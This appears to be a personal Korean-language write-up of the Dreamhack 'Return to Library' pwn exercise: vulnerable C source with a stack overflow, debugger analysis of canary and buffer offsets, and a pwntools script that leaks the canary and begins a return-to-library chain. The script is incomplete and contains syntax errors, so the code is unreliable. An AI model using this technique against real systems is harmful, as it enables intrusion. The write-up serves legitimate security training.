← 전체 Write-Up

Pwn / Dreamhack

Return to Library

Dreamhack 문제의 풀이와 실습 과정을 원문 그대로 담은 개인 기록입니다.

읽기 안내

Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.

환경

Return to Library — 실습 화면 1

  • 64bit
  • canary ON
  • NX ON

실습 코드

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

분석

취약점 분석

buf의 크기는 0x30 그러나 각 read() 함수가 0x100만큼 입력을 받는다. 이 부분에서 BOF 취약점이 일어난다. 그러나 canary가 있기 때문에 우회하여야 한다. 카나리를 우회하기 위해선 카나리에 대한 정보가 필요하다.

  • buf와 카나리 주소 offset
  • 카나리와 rbp 주소 offset 쉘을 시작하기 위해서는 "/bin/sh" 문자열의 주소를 system() 함수의 인자로 넘겨줘야 한다. 실습 코드에 보면 binsh 변수에 해당 문자열이 있으므로 이걸 사용하면 될 것 같다.

익스플로잇

필요 정보 수집

카나리 주소 확인

Return to Library — 실습 화면 2

Return to Library — 실습 화면 3

카나리의 주소는 스택구조 상 rbp-0x8에 위치하는 것을 확인할 수 있다.

buf 주소 확인

소스코드를 보면 read() 함수에서 buf의 주소를 두번째 인자로 쓰고 있다.
read() 함수 호출 직전 rsi 값을 확인하면 된다.

Return to Library — 실습 화면 4

rbp-0x40 주소가 rax 레지스터에 들어가고, 다시 rax 값이 rsi 레지스터로 들어간다.

"/bin/sh" 문자열 찾기

"/bin/sh" 문자열은 디버거를 통해 찾을 수 있다. 해당 바이너리는 PIE가 걸려있지 않으므로 데이터 영역에 있는 코드의 주소는 변경되지 않는다.

Return to Library — 실습 화면 5

binsh : 0x400874


익스플로잇 코드

p = remote("host3.dreamhack.games", port_num)

e = ELF('./rtl')

r = ROP('./rtl')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

payload = b'A' * 57

p.recvuntil(b"Buf: ")
p.send(payload)

p.recvuntil(payload)
canary = u64(b"\\x00 + p.recvn(7))
slog("canary", canary)

system_plt = e.plt["system"]
slog("system", system_plt)

binsh = next(e.search(b"/bin/sh"))
slog("binsh", binsh)

pop_ret = r.find_gadget(["pop rdi"])[0]
ret = r.find_gadget(["ret"])[0]
slog("pop_ret", pop_ret)
slog("ret", ret)

payload = b"A" *56
payload += p64(canary)
payload += b'A' * 8
payload += p(64)

코드 설명

  1. slog() 함수로 주소를 보기 쉽게 하기위해 함수를 만들었다.
  2. canary는 64bit 에서는 8바이트를 차지한다. 그러나 첫 바이트는 \\x00 이기때문에 뒤 7바이트가 무작위 숫자다. 따라서 recvn() 함수를 이용해 7바이트를 수신한 것이다.
  3. canary 변수를 선언하고 변수에 스택 카나리 값을 읽어와 정수로 변환한 값을 저장한다.
  4. rtl 바이너리 파일에서 system에 대한 plt 주소를 찾아낸다.
  5. rtl 바이너리 파일에서 "/bin/sh" 문자열이 담긴 주소를 찾아 binsh 변수에 저장한다.
  6. rtl 바이너리 파일에서 pop rdi 명령어가 포함된 가젯을 찾는다. 반환되는 값은 가젯의 주소를 포함하는 리스트다.
  7. ret 가젯은 함수에서 리턴할 때 사용되는 명령어로, 스택의 상위 값을 프로그램 카운터 레지스터로 옮긴다. 이를 통해 프로그램의 실행 흐름을 반환 주소가 가리키는 위치로 변경한다.
  8. 끝에 [0]을 붙이는 이유는 가젯 리스트에서 첫번째 항목을 선택한다는 말이다. 첫번째 항목이 가장 일반적이고 주로 사용되는 가젯의 주소이기 때문이다.

결과

Return to Library — 실습 화면 6

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.

이미지 원본 출처